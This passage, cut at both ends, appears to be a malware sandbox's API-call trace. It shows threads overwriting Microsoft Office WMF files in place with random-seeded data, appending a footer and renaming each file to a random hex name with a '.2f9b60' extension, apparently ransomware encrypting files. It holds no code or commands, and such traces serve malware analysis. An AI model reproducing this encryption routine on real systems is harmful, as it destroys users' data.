_Format="%c%c" | out: _Dest="47") returned 2 [0218.016] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="c0") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="7c") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="8b") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="b6") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="76") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="31") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="fb") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="b1") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="80") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="77") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="a2") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="2e") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="cb") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="37") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="94") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="6d") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="73") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="cb") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="2e") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="06") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="1c") returned 2 [0218.017] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="89") returned 2 [0218.017] RtlInitAnsiString (in: DestinationString=0x3ca0f988, SourceString="3047c07c8bb67631fbb18077a22ecb37946d73cb2e061c89" | out: DestinationString="3047c07c8bb67631fbb18077a22ecb37946d73cb2e061c89") [0218.017] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ca0f958, SourceString="3047c07c8bb67631fbb18077a22ecb37946d73cb2e061c89", AllocateDestinationString=1 | out: DestinationString="3047c07c8bb67631fbb18077a22ecb37946d73cb2e061c89") returned 0x0 [0218.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319ee20 [0218.018] wcscat (in: _Dest=0x43108880, _Source="3047c07c8bb6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\3047c07c8bb6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\3047c07c8bb6" [0218.018] wcscat (in: _Dest=0x43108880, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\3047c07c8bb6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\3047c07c8bb6.2f9b60" [0218.018] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\3047c07c8bb6.2f9b60", NtPathName=0x3ca0f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\3047c07c8bb6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff4f0 Thread: id = 3588 os_tid = 0x1174 [0211.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf")) returned 0x20 [0211.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF", dwFileAttributes=0x20) returned 1 [0211.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3134 [0211.187] GetFileSizeEx (in: hFile=0x3134, lpFileSize=0x3c67f980 | out: lpFileSize=0x3c67f980*=2180) returned 1 [0211.187] SetFilePointerEx (in: hFile=0x3134, liDistanceToMove=0x880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.187] ReadFile (in: hFile=0x3134, lpBuffer=0x3c67f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c67f948, lpOverlapped=0x0 | out: lpBuffer=0x3c67f900*, lpNumberOfBytesRead=0x3c67f948*=0x4, lpOverlapped=0x0) returned 1 [0211.954] SetFilePointerEx (in: hFile=0x3134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261760 [0211.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a60 [0211.955] NtQuerySystemTime (in: CurrentTime=0x3c67f840 | out: CurrentTime=0x3c67f840*=132462178168162000) returned 0x0 [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x7e32c253 [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x4dfae59c [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x608717bb [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x4c18712e [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x206e55dc [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x31c98b34 [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x74a61e4c [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x29fbcb0 [0211.955] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x3bd8e777 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x646ab64c [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x29cc2a4e [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x5917329a [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x6ebcccf8 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x566a7d40 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x179d6fe9 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x242bdc4c [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x56ee215e [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x2d221400 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x68e06602 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x294834dc [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0xfa50642 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x28a2663f [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x45bdac1 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x716bf307 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x465b592a [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x5058c749 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x66a45fa4 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x3da34226 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x4894768f [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x383a4f21 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x2494cf50 [0211.956] RtlRandomEx (in: Seed=0x3c67f830 | out: Seed=0x3c67f830) returned 0x4990595d [0211.968] ReadFile (in: hFile=0x3134, lpBuffer=0x42fca8f0, nNumberOfBytesToRead=0x884, lpNumberOfBytesRead=0x3c67f830, lpOverlapped=0x0 | out: lpBuffer=0x42fca8f0*, lpNumberOfBytesRead=0x3c67f830*=0x884, lpOverlapped=0x0) returned 1 [0211.968] SetFilePointerEx (in: hFile=0x3134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.968] WriteFile (in: hFile=0x3134, lpBuffer=0x42fbb8b0*, nNumberOfBytesToWrite=0x884, lpNumberOfBytesWritten=0x3c67f834, lpOverlapped=0x0 | out: lpBuffer=0x42fbb8b0*, lpNumberOfBytesWritten=0x3c67f834*=0x884, lpOverlapped=0x0) returned 1 [0215.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0215.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0215.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860090) returned 1 [0215.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fbb8b0) returned 1 [0215.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fca8f0) returned 1 [0215.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9ee0) returned 1 [0215.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420580b0) returned 1 [0215.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860090 [0215.566] SetFilePointerEx (in: hFile=0x3134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.566] WriteFile (in: hFile=0x3134, lpBuffer=0x42c14510*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c67f950, lpOverlapped=0x0 | out: lpBuffer=0x42c14510*, lpNumberOfBytesWritten=0x3c67f950*=0x10a, lpOverlapped=0x0) returned 1 [0218.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0218.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0218.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0218.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ce0) returned 1 [0218.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0218.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a20 [0218.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a20) returned 1 [0218.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0218.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0218.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0218.010] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="35") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="a7") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="15") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="55") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="12") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="ff") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="c2") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="17") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="50") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="b2") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="b4") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="25") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="e5") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="9a") returned 2 [0218.010] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="5a") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="a0") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="49") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="02") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="b2") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="be") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="ce") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="bd") returned 2 [0218.011] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="ed") returned 2 [0218.011] RtlInitAnsiString (in: DestinationString=0x3c67f9c8, SourceString="35a7155512ffc21750b2b425e59a7d5aa04902b2becebded" | out: DestinationString="35a7155512ffc21750b2b425e59a7d5aa04902b2becebded") [0218.011] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c67f998, SourceString="35a7155512ffc21750b2b425e59a7d5aa04902b2becebded", AllocateDestinationString=1 | out: DestinationString="35a7155512ffc21750b2b425e59a7d5aa04902b2becebded") returned 0x0 [0218.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319fbb0 [0218.011] wcscat (in: _Dest=0x431087d0, _Source="35a7155512ff" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\35a7155512ff") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\35a7155512ff" [0218.011] wcscat (in: _Dest=0x431087d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\35a7155512ff.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\35a7155512ff.2f9b60" [0218.011] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\35a7155512ff.2f9b60", NtPathName=0x3c67f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\35a7155512ff.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff420 Thread: id = 3589 os_tid = 0x154c [0211.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf")) returned 0x20 [0212.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF", dwFileAttributes=0x20) returned 1 [0212.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x31cc [0212.653] GetFileSizeEx (in: hFile=0x31cc, lpFileSize=0x3cb7fba0 | out: lpFileSize=0x3cb7fba0*=2020) returned 1 [0212.653] SetFilePointerEx (in: hFile=0x31cc, liDistanceToMove=0x7e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.653] ReadFile (in: hFile=0x31cc, lpBuffer=0x3cb7fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cb7fb68, lpOverlapped=0x0 | out: lpBuffer=0x3cb7fb20*, lpNumberOfBytesRead=0x3cb7fb68*=0x4, lpOverlapped=0x0) returned 1 [0213.070] SetFilePointerEx (in: hFile=0x31cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0213.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0213.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0213.072] NtQuerySystemTime (in: CurrentTime=0x3cb7fa60 | out: CurrentTime=0x3cb7fa60*=132462178179394000) returned 0x0 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x15a262f2 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x746a04ab [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x55051463 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x4df80f1c [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x6a60c783 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x5170cb54 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x457e9db9 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x4fdb31fc [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x24a19b22 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x638b7699 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x74cd9e43 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x4cb5707d [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x498adefd [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x3befed90 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x581e5a21 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x454a7d3c [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x42f52511 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x5670d58e [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x7ebd4e59 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x1a6dd21f [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x4e4dc09c [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x61853e7a [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x53868d25 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x12c15b1a [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x5e646b4f [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x32e2b7e2 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x69158b29 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x1f4b40d9 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x5764fe94 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0xb380cde [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x1796d566 [0213.072] RtlRandomEx (in: Seed=0x3cb7fa50 | out: Seed=0x3cb7fa50) returned 0x757ebc40 [0213.081] ReadFile (in: hFile=0x31cc, lpBuffer=0x423ee500, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x3cb7fa50, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesRead=0x3cb7fa50*=0x7e4, lpOverlapped=0x0) returned 1 [0213.081] SetFilePointerEx (in: hFile=0x31cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.081] WriteFile (in: hFile=0x31cc, lpBuffer=0x423f5d20*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x3cb7fa54, lpOverlapped=0x0 | out: lpBuffer=0x423f5d20*, lpNumberOfBytesWritten=0x3cb7fa54*=0x7e4, lpOverlapped=0x0) returned 1 [0216.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7460 [0216.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6230 [0216.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6230) returned 1 [0216.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423f5d20) returned 1 [0216.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0216.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0216.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce625a0) returned 1 [0216.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6230 [0216.072] SetFilePointerEx (in: hFile=0x31cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.073] WriteFile (in: hFile=0x31cc, lpBuffer=0x42c14990*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cb7fb70, lpOverlapped=0x0 | out: lpBuffer=0x42c14990*, lpNumberOfBytesWritten=0x3cb7fb70*=0x10a, lpOverlapped=0x0) returned 1 [0219.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0219.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0219.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262870) returned 1 [0219.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0219.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0219.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0219.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e40) returned 1 [0219.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0219.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ade20 [0219.135] sprintf (in: _Dest=0x431ade20, _Format="%c%c" | out: _Dest="23") returned 2 [0219.135] sprintf (in: _Dest=0x431ade22, _Format="%c%c" | out: _Dest="62") returned 2 [0219.135] sprintf (in: _Dest=0x431ade24, _Format="%c%c" | out: _Dest="69") returned 2 [0219.135] sprintf (in: _Dest=0x431ade26, _Format="%c%c" | out: _Dest="99") returned 2 [0219.135] sprintf (in: _Dest=0x431ade28, _Format="%c%c" | out: _Dest="30") returned 2 [0219.135] sprintf (in: _Dest=0x431ade2a, _Format="%c%c" | out: _Dest="ff") returned 2 [0219.135] sprintf (in: _Dest=0x431ade2c, _Format="%c%c" | out: _Dest="a0") returned 2 [0219.135] sprintf (in: _Dest=0x431ade2e, _Format="%c%c" | out: _Dest="10") returned 2 [0219.135] sprintf (in: _Dest=0x431ade30, _Format="%c%c" | out: _Dest="16") returned 2 [0219.135] sprintf (in: _Dest=0x431ade32, _Format="%c%c" | out: _Dest="66") returned 2 [0219.135] sprintf (in: _Dest=0x431ade34, _Format="%c%c" | out: _Dest="0e") returned 2 [0219.135] sprintf (in: _Dest=0x431ade36, _Format="%c%c" | out: _Dest="b9") returned 2 [0219.135] sprintf (in: _Dest=0x431ade38, _Format="%c%c" | out: _Dest="53") returned 2 [0219.135] sprintf (in: _Dest=0x431ade3a, _Format="%c%c" | out: _Dest="cb") returned 2 [0219.135] sprintf (in: _Dest=0x431ade3c, _Format="%c%c" | out: _Dest="56") returned 2 [0219.135] sprintf (in: _Dest=0x431ade3e, _Format="%c%c" | out: _Dest="b4") returned 2 [0219.135] sprintf (in: _Dest=0x431ade40, _Format="%c%c" | out: _Dest="5d") returned 2 [0219.135] sprintf (in: _Dest=0x431ade42, _Format="%c%c" | out: _Dest="a3") returned 2 [0219.135] sprintf (in: _Dest=0x431ade44, _Format="%c%c" | out: _Dest="f1") returned 2 [0219.135] sprintf (in: _Dest=0x431ade46, _Format="%c%c" | out: _Dest="42") returned 2 [0219.135] sprintf (in: _Dest=0x431ade48, _Format="%c%c" | out: _Dest="f2") returned 2 [0219.135] sprintf (in: _Dest=0x431ade4a, _Format="%c%c" | out: _Dest="77") returned 2 [0219.135] sprintf (in: _Dest=0x431ade4c, _Format="%c%c" | out: _Dest="aa") returned 2 [0219.135] sprintf (in: _Dest=0x431ade4e, _Format="%c%c" | out: _Dest="c3") returned 2 [0219.135] RtlInitAnsiString (in: DestinationString=0x3cb7fbe8, SourceString="2362699930ffa01016660eb953cb56b45da3f142f277aac3" | out: DestinationString="2362699930ffa01016660eb953cb56b45da3f142f277aac3") [0219.135] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cb7fbb8, SourceString="2362699930ffa01016660eb953cb56b45da3f142f277aac3", AllocateDestinationString=1 | out: DestinationString="2362699930ffa01016660eb953cb56b45da3f142f277aac3") returned 0x0 [0219.136] RtlAllocateHeap (HeapHandle=0xa0000, 